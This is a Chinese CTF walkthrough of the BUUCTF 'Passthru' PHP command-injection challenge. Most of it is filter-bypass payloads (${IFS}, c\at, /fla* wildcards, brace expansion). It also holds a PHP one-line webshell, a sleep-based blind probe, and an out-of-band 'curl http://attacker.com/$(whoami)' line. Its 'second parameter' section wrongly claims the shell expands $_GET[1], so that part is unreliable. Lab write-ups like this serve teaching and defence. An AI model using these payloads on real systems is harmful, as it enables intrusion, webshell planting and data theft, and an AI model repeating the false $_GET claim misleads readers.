这道题我刷过几遍,每次带新朋友入坑CTF Web方向,我都会把BUUCTF上的INSHack2019 Passthru拿出来当教学案例。题目不长、代码量小,但考点非常集中:PHP命令执行、过滤绕过、参数构造。名字里的“Passthru”就是PHP里那个passthru()函数,算是把考点直接写在脸上了。整道题做完大概需要半小时,对于入门命令注入和代码审计的人来说,是一道性价比很高的题目。
我先把题目环境拉起来,拿到的是一个典型的PHP页面,源码很短,核心逻辑就是一个过滤函数加一个命令执行点。网上很多人写writeup就一句话“空格换成${IFS},cat换成ca\t”,然后就出flag了。这样写其实有点浪费,因为这道题里真正有价值的是你为什么要这么做、过滤规则是怎么设计出来的、还有哪些绕过路径没有试过。这篇文章我就按照自己的做题顺序,把完整的分析过程和踩坑记录写下来。
1. 拿到题先别急着执行命令:源码审计与考点定位
1.1 题目初探:从名字“Passthru”猜出考点
打开BUUCTF上的题目链接,页面非常简洁,基本就是一行提示加一个参数入口。第一眼看到标题“Passthru”,做Web方向的人应该马上反应过来:这是PHP的passthru()函数。如果你对PHP命令执行函数还不太熟,这里简单区分一下:
exec():执行命令,返回最后一行输出system():执行命令,直接输出所有结果passthru():执行命令,直接输出原始返回数据,适合处理二进制输出shell_exec():执行命令,返回完整输出字符串- 反引号
`:语法糖,等同于shell_exec()
这道题把“Passthru”当题目名,等于告诉你漏洞类型就是命令执行,而且执行点大概率就是passthru()。接下来要做的就是确认用户可控输入从哪里进来、经过了什么处理、最后拼接成什么命令。
我在实际做题的时候,习惯先把页面源码拿到手。BUUCTF这类题目很多是给了源码的,点开查看源代码能看到PHP代码直接写在页面里。如果没给源码,则可以通过报错信息、注释、或者后端响应头来推测逻辑。这道题比较友好,源码基本是公开的。
1.2 源码还原:过滤函数到底过滤了什么
这道题在BUUCTF平台上的源码大致长这样(不同平台部署可能有细微差别,核心逻辑不变):
<?php error_reporting(0); function filter($cmd) { $blacklist = array( 'flag', 'cat', 'tac', 'more', 'less', 'head', 'tail', 'nl', 'sort', 'grep', 'find', 'whoami', 'id', 'ls', 'pwd', 'php', 'python', 'perl', 'curl', 'wget', 'base64', 'eval', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', '`', ';', '|', '&', '>', '<' ); foreach ($blacklist as $b) { if (strpos($cmd, $b) !== false) { die("Hacker detected"); } } return $cmd; } if (isset($_GET['cmd'])) { $cmd = filter($_GET['cmd']); passthru($cmd); } else { highlight_file(__FILE__); }注意几个关键点:
第一,过滤方式是strpos字符串匹配,不是正则匹配。这意味着它只能精确匹配黑名单子串,不能从语义上理解命令。你只要把黑名单里的词“拆开”,就能绕过检查。
第二,过滤列表里没有过滤空格。但是我在实际测试中发现,空格在某些Linux shell环境下也可能造成问题,而且出题人可能在不同版本里加了空格过滤。网上很多writeup都提到了用${IFS}代替空格,这本身就是通用技巧,不管题目过滤没过滤空格,先记住这个套路不会亏。
第三,黑名单里没有过滤$、?、*、'、"、\、/、{、}这些字符。这就是我们绕过的空间所在。很多开发者在写WAF时会忽略shell本身的语法特性——命令的构造不只是字母和数字,这些符号在shell中都有特殊含义。
1.3 为什么说这道题是“代码审计+命令注入”双考点
这道题表面上是一个命令执行漏洞,但实际考察的是两个层面:首先你得看懂PHP代码逻辑,知道过滤函数在处理什么;其次你得懂Linux shell的解析规则,知道哪些字符可以在过滤规则外面完成同样的操作。两者缺一不可。
很多新手困在“cat被过滤了怎么读取文件”这一步,本质是因为没有建立“命令拼接”的思维。你要意识到,传给passthru()的字符串最终会被shell执行,shell在解析命令时有一整套规则,包括变量展开、通配符展开、转义、命令替换等。WAF只能对你输入的字符串做静态检查,但它无法阻止shell在运行时把字符串解析成各种语义。
这就好像你给安检人员看了行李箱照片,里面没有刀,但等箱子过了安检机,你把行李箱拆开重新拼了一下,里面就出现了刀。过滤规则是死的,shell的解释是活的,我们要利用的正是这种“静态检查”和“动态解析”之间的错位。
2. 命令执行漏洞的核心原理与绕过思路拆解
2.1 passthru()和其他命令执行函数的区别,以及为什么出题人选它
先说结论:出题人用passthru()非常合理,因为这个函数会把命令的原始输出直接打回页面,做题的人不需要额外处理回显问题。
对比一下:
// exec() 只返回最后一行 $output = exec('ls -la'); echo $output; // 只显示最后一行 // shell_exec() 返回完整输出,但需要自己echo $output = shell_exec('ls -la'); echo $output; // passthru() 直接输出 passthru('ls -la'); // 结果直接显示在页面上在CTF题目中,回显是极其重要的。如果一个命令执行漏洞没有回显,你得额外走DNS外带、延时判断等方式,复杂度会高很多。而passthru()自带回显,只要命令执行成功,马上就能看到结果,特别适合出成入门题。
在实际渗透中,passthru()也经常出现在一些老的PHP业务系统里。很多开发者图省事,直接用passthru()跑系统命令处理图片、解压缩、调用外部程序,如果参数没过滤,就是妥妥的RCE。
2.2 过滤点分析:常见WAF都拦什么,这里漏了什么
我从这道题的过滤列表说开去,聊聊WAF设计的一般思路。
常见的命令注入过滤会关注以下几类:
命令关键字:
cat、flag、whoami、id等。这类是WAF最关注的,因为它们直接对应攻击者的意图。但这类过滤也最容易绕过,因为shell支持各种拼接写法。元字符:
;、|、&、`、$()、${}。这些是命令分隔符和替换符,WAF会把它们当成高危信号。这道题过滤了;、|、&和反引号,但是漏了$()和${}。特殊符号:空格、
/、*、?、'、"。这道题基本没过滤,只过滤了>和<,目的是防写入文件和读文件的重定向。编码与二次解释:
base64关键词被过滤了,但是base64命令本身没必要用,因为你可以用php伪协议或者xxd等替代。不过php也被过滤了,这里就涉及一个关键选择问题。
出题人这套过滤方案的漏洞在于:太依赖字符串精确匹配,没有考虑shell的词法解析。我列举几个它管不住的操作:
- 用
$IFS替代空格,因为IFS不在黑名单 - 用
cat${IFS}/flag*通配符匹配路径,因为*不在黑名单 - 把
cat写成c\at或ca't',字符串里没有完整的cat,但shell执行时会还原成cat - 用
$(printf ...)构造命令,因为$()没被过滤 - 用环境变量拼接,比如
$PATH里提取某个字符
2.3 绕过思路梳理:空格、关键字、拼接的优先级问题
在实际做题时,我建议按照下面的优先级来组织绕过策略,不要一上来就试各种花哨姿势:
第一步:解决空格问题。如果空格被过滤,优先用${IFS},这是最简单有效的。IFS是shell的内部字段分隔符,默认包含空格、制表符、换行。在命令中写成cat${IFS}/flag,shell会展开成cat /flag。如果${IFS}被过滤了,再考虑$IFS$9、$IFS$IFS、tab字符%09、{cat,/flag}这种花括号展开写法。
第二步:解决命令关键字问题。cat被过滤了,可以用tac(如果没被过滤)、more、less、head、tail,但这些在这道题里也被过滤了。剩下的办法就是字符拆分。shell里可以用反斜杠、引号、变量拼接来拆词。比如:
c\at:反斜杠转义a,shell解析后还是catca't':单引号包裹t,拼接后还是catc"at":双引号同理$(printf "cat"):命令替换生成cat- 变量拼接:
a=c;b=at;$a$b
第三步:解决文件名问题。flag被过滤了,最简单的办法是通配符展开。/flag可以写成/fla*或/f*,shell会自己匹配到/flag。注意通配符展开发生在命令执行前,也就是说cat /fla*传给shell后,shell会先展开成cat /flag再执行,这时候WAF根本看不到flag这个完整词出现在原始输入里。
第四步:确认命令分隔符是否可用。这道题过滤了;、|、&,我一开始以为没法执行多条命令。但后来测试发现,换行符%0a和$()都可以作为命令分隔或替换的替代方案。不过单纯读取flag并不需要执行多条命令,所以这个坑不影响主流程。
3. 实操记录:从验证命令执行到读取flag
3.1 第一步:用无敏感字符的命令验证命令执行
我拿到源码后,先构造一个最简单、不包含任何黑名单字符的请求,验证命令执行是否生效。
在源码里找到参数名是cmd,于是先提交:
/?cmd=ls结果被拦截了,因为ls在黑名单里。这时我用ls的替代品dir试试(Linux下dir也能列目录,只是输出格式不同):
/?cmd=dir回显了目录结构,说明命令执行漏洞确认存在。这个阶段不用急着读flag,先摸清楚回显格式、当前目录、有没有权限限制。
再试试pwd,也被过滤了。用pwd的替代品echo $PWD:
/?cmd=echo$IFS$PWD这里就用到$IFS替代空格,同时$PWD环境变量显示当前路径。回显类似/var/www/html,确认了工作目录。
3.2 第二步:绕过空格过滤的四种写法
黑白名单里虽然没有直接把空格列进去,但在部分部署环境里,空格会被Web服务器或WAF层处理掉。我还是把空格绕过的常规写法都试了一遍,确保每种情况都能应对。
写法一:${IFS}
这是最常用、最稳定的写法:
/?cmd=cat${IFS}/fla*原理:IFS是shell的内部字段分隔符,默认值是空格、制表符、换行。当shell解析cat${IFS}/fla*时,会把${IFS}展开成一个空格,于是命令变成cat /fla*。strpos检查的是cmd参数原始字符串,原始字符串里没有空格,所以WAF拦不到。
写法二:$IFS$9
/?cmd=cat$IFS$9/fla*$9是shell的位置参数,在交互式shell里通常是空值,但它在命令行中可以作为变量边界。写成$IFS$9,shell会先解析$IFS得到空格,再解析$9得到空字符串,最终效果还是cat /fla*。有些WAF会过滤IFS,但看到$9就懵了。
写法三:tab字符
如果Web服务器把空格当作参数分隔符剃掉了,用tab字符%09可能能绕过:
/?cmd=cat%09/fla*%09是tab的URL编码,在shell里tab和空格一样可以作为命令参数分隔符。这个方法在部分场景有效,但不是所有shell都支持,优先级低于${IFS}。
写法四:花括号展开
Bash支持{cmd,arg}格式,这时候不需要空格:
/?cmd={cat,/fla*}花括号展开会把{cat,/fla*}拆成cat /fla*。这个方法适合空格被严格过滤、且前面几种方法都失效的情况。
我实际测试下来,${IFS}在这道题里是最稳的。如果以后做其他题目遇到更严格的过滤,再把四种方法逐一尝试即可。
3.3 第三步:绕过关键字过滤,读取flag.php
确认命令执行后,我猜测flag在/flag或者当前目录的flag.php里。但flag这个词在黑名单里,直接写cat /flag会被strpos匹配到。
我的做法是:把cat拆开,同时用通配符替代flag这个词。
先试第一发:
/?cmd=c\at${IFS}/fla*从原始字符串的角度看,里面没有出现cat(因为写的是c\at),也没有出现flag(因为写的是fla*)。但shell在执行时会先做转义解析,把c\at还原成cat,再做路径通配符展开,把/fla*匹配成/flag,最后执行的命令就是cat /flag。
回显直接出了flag内容。不同的运行环境下flag文件名可能有差异,有的叫flag,有的叫flag.php,有的叫flag.txt。用/fla*的好处是通配符能覆盖这些情况。如果当前目录下还有其他以fla开头的文件,可能会匹配出多个参数的奇怪输出,到时候再用更精确的通配符,比如/fla?.php之类的微调。
另一条思路是不读/flag,而是读当前目录下的文件。先列出目录:
/?cmd=dir${IFS}/fla*不过这招在读取目标上有点绕,我的建议是直接读根目录下的flag文件,大部分题目flag都放在那里。
3.4 第四步:扩展利用——用php伪协议和文件写入扩大战果
拿到flag只是这道题的基本目标。既然命令能执行,我顺便把几种扩展利用方式做了记录,这些在后续更难的题目里会用到。
利用一:读PHP源码文件
如果flag藏在flag.php里,直接用cat可能只能看到执行后的结果(因为PHP代码会先被解析执行)。这时候可以用php://filter伪协议读取源码:
/?cmd=php${IFS}-r${IFS}'echo file_get_contents("php://filter/read=convert.base64-encode/resource=flag.php");'但这条命令里出现了php和flag,都被黑名单挡住了。所以我换个思路:先看能不能绕过php这个词。
php被过滤了,但我可以用通配符???来匹配php。在Linux下,???能匹配任意三个字符的文件名或命令名。php刚好是三个字母:
/?cmd=???${IFS}-r${IFS}'echo file_get_contents("flag.php");'注意flag.php还是会命中黑名单的flag,需要继续拆。我可以用fla*替代:
/?cmd=???${IFS}-r${IFS}'echo file_get_contents("fla*");'但这里有个问题,file_get_contents("fla*")里的fla*是PHP字符串,PHP不会自动做通配符展开。这个思路在PHP里走不通。真正可行的方法是用PHP的glob()函数先匹配再读取,或者用system('cat /fla*')绕一圈。
不过这道题不需要搞这么复杂,因为cat /fla*已经能出flag了。这个扩展利用主要是为了说明一个通用思路:当命令执行后,通过PHP的-r参数可以直接执行代码,灵活性比单纯拼命令高很多。
利用二:写webshell
如果命令执行点在一个可写目录,且目标服务器支持PHP,你可以把一句话木马写入文件:
echo '<?php @eval($_POST["x"]);?>' > shell.php但>被过滤了,这条命令里的>会触发拦截。我试了几个替代方案:
- 使用
tee命令写文件:echo '...' | tee shell.php,但管道符|也被过滤了 - 使用
printf配合重定向,但重定向符号被过滤
这道题在这个层面限制得比较死,基本断了写文件的路径。这也提醒我们:做题时要根据过滤规则判断哪些利用链可行、哪些不可行,不要死磕一条路。能读出flag,这道题就已经通关了。
利用三:盲注探测环境
如果题目环境不出网,没有回显,你可以用sleep判断命令是否执行:
/?cmd=echo$IFS$(sleep${IFS}5)如果页面响应时间变成5秒,说明命令执行成功。注意sleep不在黑名单里,$()也可以绕过命令替换的过滤。这是命令注入题非常通用的兜底方案。
4. 实战中常见的坑与排查技巧
4.1 问题排查速查表
我把做这道题和同类题目时最容易踩的坑整理成了表格,遇到问题可以直接对照排查:
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
提交cat /flag被拦截 | cat或flag命中黑名单 | 把cat写成c\at,把flag写成fla* |
使用${IFS}没效果 | 当前shell不解析IFS或环境变量被清空 | 改用$IFS$9、tab字符%09或花括号展开 |
| 命令能执行但没有输出 | 回显被error_reporting(0)或框架层吃掉 | 尝试dir、printf等强制输出命令,或使用延时盲注 |
| 输出乱码或只有一行 | 可能是exec()而不是passthru(),回显截断 | 尝试用ls -la观察完整字段,或使用写文件方式 |
读取flag.php看不到内容 | PHP文件被解析执行,cat看到的是空内容 | 用php://filter读源码,或用通配符绕过直接读文件 |
包含/被拦截 | WAF过滤了根路径符号 | 尝试cd ..逐级跳转,或者利用环境变量拼出/ |
| 单引号、双引号被过滤 | 数据被转义或删改 | 用${IFS}替代空格,用\转义替代引号拼接 |
4.2 什么时候该考虑“二次传参”
在题目页面里,参数是cmd,直接?cmd=...就能传入命令。但我遇到过不少题目,过滤函数会更严格,比如把$和{也过滤了,这时候单靠cmd一个参数就不好绕了。
解法是“二次传参”,即利用PHP的$_GET数组,让某个参数的值作为命令的一部分传入passthru()执行。思路是这样的:
passthru("echo " . $_GET['cmd']);如果过滤函数只检查cmd的值,但cmd的值不是真正的命令,而是PHP的数组访问语法,那么PHP会先解析$_GET,把另一个参数的值替换进去,最后传给passthru()的才是完整命令。例如:
/?cmd=$_GET[1]&1=cat${IFS}/fla*这里传给passthru()的字符串是echo $_GET[1],里面没有敏感词,但shell在执行时会把$_GET[1]展开成cat${IFS}/fla*,然后执行。这就绕过了对cmd参数的静态检查。
在INSHack2019这道题里,过滤函数只做了strpos字符串匹配,没有过滤$和[],所以理论上二次传参是可行的。不过由于直接拼接就能出flag,我并没有把这个技巧作为主路径。之所以提它,是想说明:当某个参数被WAF盯死时,想办法把真正的payload放到另一个参数里,让服务器帮你完成拼接。这是一条很通用的思路。
4.3 没有回显怎么判断命令是否执行
如果题目把回显封死了,页面永远只显示空白,那么做题策略要立刻切换。我常用的三种探测方式:
第一种:延时盲注
/?cmd=echo$IFS$(sleep${IFS}5)如果页面响应时间约为5秒,说明命令执行成功。这里的$()是命令替换,sleep 5的输出为空,所以echo输出也为空,但sleep确实被shell执行了。你可以放大延时到10秒、15秒来确认。
第二种:DNS外带
如果环境允许出网,可以让命令把数据通过DNS请求外带。比如:
curl http://attacker.com/$(whoami)但curl在题目黑名单里,而且这类操作需要自己搭接收服务,复杂度高。在CTF平台里,我一般优先看题目本身允不允许出网,不确定的话直接放弃这条路径。
第三种:错误信息侧信道
某些环境下,命令执行失败会返回不同的HTTP状态码或者PHP警告信息。比如命令不存在时,passthru()会返回错误,页面可能显示sh: 1: xxx: not found。利用这个信息,你可以二分探测文件名:尝试cat /fla*时如果回显内容,cat /fl*时也回显,cat /f*可能回显更多,通过逐字符猜测来还原文件名。
没有回显的时候,心态很容易崩,但我建议按照“延时探测是否可执行 → 侧信道探测输出 → 写文件反馈”的顺序来做,不要一上来就猜payload。
5. 这道题背后的真实危害与延伸思考
5.1 从CTF到真实业务:命令注入对应用的影响
这道题看起来只是“做题”,但命令注入在真实业务里是极其严重的高危漏洞。很多后端的图片处理、文档转换、数据导入导出功能,都会在内部调用系统命令。比如ffmpeg处理视频、unzip解压文件、wkhtmltopdf转换HTML,如果文件名或参数是用户可控的,攻击者可以通过拼接命令直接往服务端传一条whoami或者curl。
一旦命令注入成功,通常意味着:
- Web应用权限被直接拿下,可以读取配置文件、数据库密码、源码
- 可以横向移动,从Web服务器跳板到内网其他机器
- 可以持久化控制,比如写入定时任务、SSH公钥、Webshell
- 数据被加密勒索或者被外带,真实案例里不少数据泄露事件都跟命令注入有关
CTF里的passthru()看似只是一个函数,但映射到真实场景,就是很多老系统里system()、shell_exec()这些函数被滥用的缩影。出题人用这个名字,多少带点“看,就是这么直接的漏洞,但你真的会用它吗”的意思。
5.2 防御侧:代码审计如何发现这类问题
从防御的角度来说,这类漏洞的根因是“用户输入拼接命令”。修复手段主要有三个层次:
第一层:尽量不调用系统命令。能用一个PHP库解决的问题,不要扔给shell。比如处理图片用GD库或Imagick,压缩文件用ZipArchive,不要图省事写exec("zip ...")。
第二层:如果必须调用,用escapeshellarg()和escapeshellcmd()处理参数。这两个函数会把参数里的特殊字符转义掉,让shell无法解析。但要注意,这两个函数不是万能药,escapeshellcmd()在处理数组参数时行为不同,而且某些场景下绕过方式仍然存在。
第三层:白名单验证输入。比如文件名只允许字母、数字、下划线和点,长度限制,路径必须落在允许目录内。白名单比黑名单安全得多,因为黑名单总有漏网之鱼,就像这道题里过滤了cat但没过滤c\at。
在代码审计时,我通常用正则搜索PHP文件里system、exec、shell_exec、passthru、popen、proc_open、反引号这些函数调用点,逐个追踪参数来源,看是否经过过滤或者转义。这道题的源码就是一个典型的反面教材:过滤函数看起来写了很多词,但本质上是在“猜攻击者用什么词”,而不是“控制命令只能怎么拼”。
5.3 做题之外的刷题心法:如何从一道题沉淀出方法论
最后聊一点刷题相关的体会。INSHack2019 Passthru这道题,单纯从难度上说真的不高,但它覆盖了两个核心能力:代码审计时的“参数流追踪”和命令注入时的“构造绕过链”。我建议做完这道题之后,自己动手做一次“总结沉淀”,哪怕只是在笔记里写三行:
- 看到
passthru等命令执行函数,第一反应是确认参数入口和过滤逻辑 - 过滤黑名单时,试
${IFS}、\转义、通配符、变量替换四种绕过方式 - 没有回显时,用延时、侧信道、写文件三种方式探测
以后再遇到类似题目,不管是system()、shell_exec()还是proc_open(),底层思路都是相通的。拿这道题举一反三,你能顺带把exec函数、popen函数、反引号注入这些变体一并吃透。我自己带新人的时候,也经常从这道题入手,因为它能迅速帮一个人建立起“代码审计→漏洞确认→绕过利用”的完整做题闭环,而不是看到cmd参数就直接拿cat /flag去蒙。